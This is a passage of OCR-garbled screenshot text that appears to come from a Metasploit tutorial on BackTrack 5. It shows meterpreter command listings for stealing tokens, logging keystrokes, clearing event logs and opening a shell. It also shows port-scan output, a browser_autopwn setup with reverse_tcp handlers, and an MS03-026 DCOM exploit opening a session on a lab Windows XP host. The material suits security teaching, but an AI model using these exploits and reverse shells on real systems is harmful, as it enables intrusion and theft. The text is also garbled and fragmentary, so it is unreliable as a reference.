shutdown
steal _token
sysinfo

Description

Clear the event log
Relinguishes any active impersonation token.

Execute a command

Get the current process identifier

Attempt to enable all privileges available to the current process
Get the user that the server is running as

Terminate a process

List running processes

Reboots the remote computer

Modify and interact with the remote registry

Calls RevertToSelf() on the remote machine

Drop into a system command shell

Shuts down the remote computer

Attempts to steal an impersonation token from the target process
Gets information about the remote system, such as OS
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Core Commands

background
bgkill

bglist

bgrun

channel

close

disable unicode_encoding
enable_unicode_encoding
exit

nelp

info

interact

i

loaa

migrate

quit

read

write

Description

Help menu
Backgrounds the current session

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background thread
Displays information about active channels
Closes a channel

Disables encoding of unicode strings
Enables encoding of unicode strings
Terminate the meterpreter session

Help menu

Displays information about a Post module
Interacts with a channel

Drop into irb scripring mode

Load one or more meterpreter extensions
Migrate the server to another process
Terminate the meterpreter session

Reads data from a channel

Run the commands stored in a file

Executes a meterpreter script or Post module
Deprecated alias for 'load’

Writes data to a channel
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meterpreter > ps

Process List

PID  PPID Name Arch Session User Path

o ) [System Process] 4294967295

4 L] System x86 0 NT AUTHORITY\SYSTEM

368 4 SMmSS.exe x86 O NT AUTHORITY\SYSTEM \SystemRoot\System
32\smss.exe

396 1548 cmd.exe x86 @ FACILITATOR\vv Ca)\WINDOWS\System3
2\cnd.exe

424 368 csrss.exe x86 @ NT AUTHORITY\SYSTEM X?2\CH\WINDOWS\sys
tem32\csrss. exe

448 368 @ windidgon.exe xd6 B¢ NT [AUTHORIL TY \ SYSTEM \?7\C: \WINDOWS\sys
ten32\winlogof.exe

492 448  services.exe x86 O NT AUTHORITY\SYSTEM C:\WINDOWS\system3
2\services.exe

504 448 lsass.exe x86 O NT AUTHORITY\SYSTEM C:\WINDOWS\system3
2\lsass.exe

660 492  svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system3
2\svchost.exe

704 492  svchost.exe x86 @ NT AUTHORITY\SYSTEM C:\WINDOWS\System3
2\svchost.exe

864 492  svchost.exe x86 @ NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\System3

2\svchost..exe
896 492 svchost.exe x86 @ NT AUTHORITY\LOCAL SERVICE  C:\WINDOWS\System3
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*] Starting exploit windows/browser/ton sawyer tsgetx7lex552 with payload windows/meterpreter/re
lerse_tcp

*] Using URL: http://0..0.0:80/jSQlxzWssi

*] Local IP: http://192.168.253.131:80/3SQLxzWssi

] Server started.

Starting exploit windows/browser/winzip fileview with payload windows/meterpreter/reverse tcp
Using URL: http://6.0.0.0:80/SInhnHbn

Local IP: http://192.168.253.131:80/SInhnHbn

Server started.

Starting exploit windows/browser/wni_admintools with payload winddws/meterpretefyreverse tcp
Using URL: http://0.0.8.0:80/ZKgba

Local IP: http://192.168.253.131:80/ZKgba

Server started.

starting handler for windows/meterpreter/reverse tcp on port 3333

starting handler for generic/shel} reverse tcp on port 6666

Started reverse handler omy192+168.253.131:3333

Starting_theqgayload handter |\ i

Starting handler for=javaymeterpreter/reyersestep on=port=7777
Started reverse handler on 192.168.253.181:6666

Starting the payload handler.

Started reverse handler on 192.168.253.131:7777

Starting the payload handler.

*] --- Done, found 34 exploit modules

Using URL: http://6.0.0.0:80/
Local IP: http://192.168.253.131:80/
Server started.
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nsf auxiliary(tcp)
verbose => false

nsf auxiliary(tcp)
ports => 1-158
nsf auxiliary(tcp)

1]
1]
1]
1]
[
1]
1]
6
=1
{6¢
6
=]
nsf

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

163§3.§:
168.253.1

168.
168.
168.
168.
168.
168.
168.
168.

Scanned

253.
253.
2538
253.
253.
253.
253.
253.

132:
132:
132:
132:
SEPY,
132:
132:
575

> set verbose false

> set ports 1-150

hack

7 - TCP OPEN
13 - TCP OPEN
19 - TCP OPEN
25 - TCP OPEN
21 - TCP OPEN
80 - TCP OPEN

139 - TCP OPEN
135 - TCP OPEN

1 of 1 hosts (100% complete)
Auxiliary module execution completed
auxiliary(tep) > I

| tra
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Module options (auxiliary/server/browser autopwn):

Name Current Setting Required Description

LHOST yes The IP address to use for re

SRVHOST ~ 0.0.0.0 yes The local host to listen on.
the local machine or 0.0.0.0

SRVPORT

8080 yes The local port to Llisten on.
SSL false n oti r incdning c
SSLCert< 2 anc Path t ara€ i
enerated)
no

ssLversion SSL3 specify the version of SSL tl
d: SSL2, SSL3, TLS1)

an address on

3

ault is\(andamly g

Showld be used (accepte

URTPATH no The URI to use for this exploit (default is random)

msf auxiliary(browser_autopun) > set LHOST 192.168.253.131
LHOST => 192.168.253.131

msf auxiliary(browser_autopun) > set SRVPORT 80

SRVPORT => 80

msf auxiliary(browser_autopun) > set URIPATH /

URIPATH => /

msf  auxiliary(browser_autopun) > |
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[*] 192.168.253.132 browser_autopwn - Handling '/*

[*] 192.168.253.132 browser_autopwn - Handling '/?sessid=TWljcn9zb2Z0TFdpbnRVA3MGHFAGU1AWOMVULXY
20ng4N;] pNUBLFO; YuMDo%3d

[*] 192.168.253.132 browser_autopwn - JavaScript Report: Microsoft Windows:XP:SPe:en-us:x86:MSTE
:6.0:

[*] 192.168.253.132 browser_autopwn - Reporting: {:0s_name=>"Microsoft Windows", :0s_flavor=>"xp
', :05_sp=>"SPO", :0s_lang=>"en-us", :arch=>"x86"}

[*] 192.168.253.132 browser autopun - Responding with 24 exploits

[*] 192.168.253.132 ie createobject - Sending exploit HTML.
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~ v x Terminal
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Report bugs: davek@trustedsec.com.
Follow me on Twitter: dave rellk
Homepage: https://wwu. trustedseccom

Welcone to the Social-Engineer Toolkit (SET).YGur one
stop shop for all of your social-engineering needs. .

Join us on irc.freenode.net in channel #setoolkit

The Social-Engineer Toolkit is a product of TrustedSec.

ViSit: https://www. trustedseg.com

Setect “fron the/ménus

1) social-Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Modules

4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration

7) Help, Credits, and About

99) Exit the Social-Engineer Toolkit
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[*] Started reverse handler on 192,168.253.131:18324

[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal.

[*] Binding to 4d9f4abs-7d1c-11cf-861e-0020af6e7c57: 0. 6gncacn_ip_tcp: 192.168.253.132[135]

[*] Bound to 4d9f4abs-7d1c-11cf-861e-0020af6e7c57:0.0gncacn_ip_tcp:192.168.253.132[135] .
[*] Sending exploit

[*] Sending stage (752128 bytes) to 192.168.253.132
[*] Meterpreter session 1 opened (192.168.253.131:18324 -> 192.168.253.132:1226) at 2013-04-09 02:06:05
+0530
meterpreter >

= Ao o[~
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Stdapi: User interface Commands

Description

List all accessible desktops and window stations

Get the current meterpreter desktop

Returns the mumber of seconds the remote user has been idle
Dump the keystroke buffer

Starc capturing keystrokes

Stop capturing keystrokes

Grab a screenshot of the interactive desktop

Change the meterpreters current desktop
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Stdapi: File system Commands

Description

Read the contents of a file to the screen
Change directory

Download a file or directory
Edit a file

Print local working directory
Princ working directory

Change local working directory
Print local working directory
List files

Make directory

Princ working directory

Delete the specified file
Remove directory

Searcn for files

Upload a file or directory
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root@bt:~# cd /opt/metasploit/
root@bt: /opt/metasploit# 1s

lapp createuser icons msf3 properties. iiigscripts
fapps  ctlscript.sh ing ns3.zip___resetpw uninstall
connon  diagnostic_logs.sh java nsfpro ruby uninstall.dat

config diagnostic_shell ~ licenses postgresql run.sh
root@bt: /opt/metasploit# cd /opt/metasploit/msf3.
root@bt: /opt/metasploit/msf3# ls

arnitage HACKING  msfd msfpescan plugins tools
copYING lib msfelfscan msfrop  README.nd

data modules  msfencode  msfrpc  scripts
[documentation msfbinscan msfgui msfrpcd  spec

fexternal msfcli msfmachscan msfupdate test

Genfile nmsfconsole msfpayload msfvenom  THIRD-PARTY.md

root@bt:/opt/metasploit/msf3#
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metasploit v4.5.0-dev [core:4.5 api:1.0]
927 exploits - 499 auxiliary - 151 post
251 payloads - 28 encoders - 8 nops

sf > search dcom

[Matching Modules

Disclosure Date Rank

auxiliary/scanner/telnet/telnet_ruggedcom normal
felnet Password Generator

exploit/windows/dcerpc/nse3_626_dcom 2003-07-16 00:00:00 UTC great
PC DCOM Interface Overflow

exploit/windows/driver /bFoad o Wiaf i 587 || 2006-11-11 06%60" dAUTE™Row
reless Driger Probe Respoise SSTDsOVer flow

exploit/windows/Smb/msPA,031 netdde 2604-10-12 00:00;68 UTC,.gdod
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‘the matrix has you
follow the white rabbit.

knock, knock, Neo.

[ me¥esplot va.5LRndéV [sore: 4W5,ap1i 10l
[ 927 exploits - 499 auxiliary - 151 post
[ 251 payloads - 28 encoders - 8 nops
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[*] Started bipd handler 1

[*] Trying ta% € n/zo?v Uniyersa S

[+ t 1c-afcf-8g1e-a026a T %ﬁ acn 192.168.253]
b kil
[*] Bound to 4d9f4abs-7d1c-11cf- 861 9029af6e7c57 .e@ncacn_ip.tcp?197.168.253.1]
32[135]

[*] Sending exploit ...

[*] Sending stage (752128 bytes) to 192.168.253.132

[*] Meterpreter session 1 opened (192.168.253.131:36257 -> 192.168.253.132:4444)]
at 2013-04-22 22:55:38 +0530

neterpreter >
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< metasploit
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root@bt:~# msfconsole

metasploit v4.5.0-dev [core:4.5 api:1.0]
927 exploits - 499 auxiliary - 151 post
251 payloads - 28 encoders - 8 nops

back | track 5
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meterpreter > pwd
C: \WINDOWS\systen32

meterpreter >
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meterpreter > shell

Process 1544 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2601 Microsoft Corp.

C:\WINDOWS\system32>ipconfig.
ipconfig 2 < ac

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix
1P Address.

Subnet Mask .

Default Gateway .

C:\WINDOWS\system32>]

| track

: localdomain
: 192.168.253.132

255.255.255.0
192.168.253.2

r3





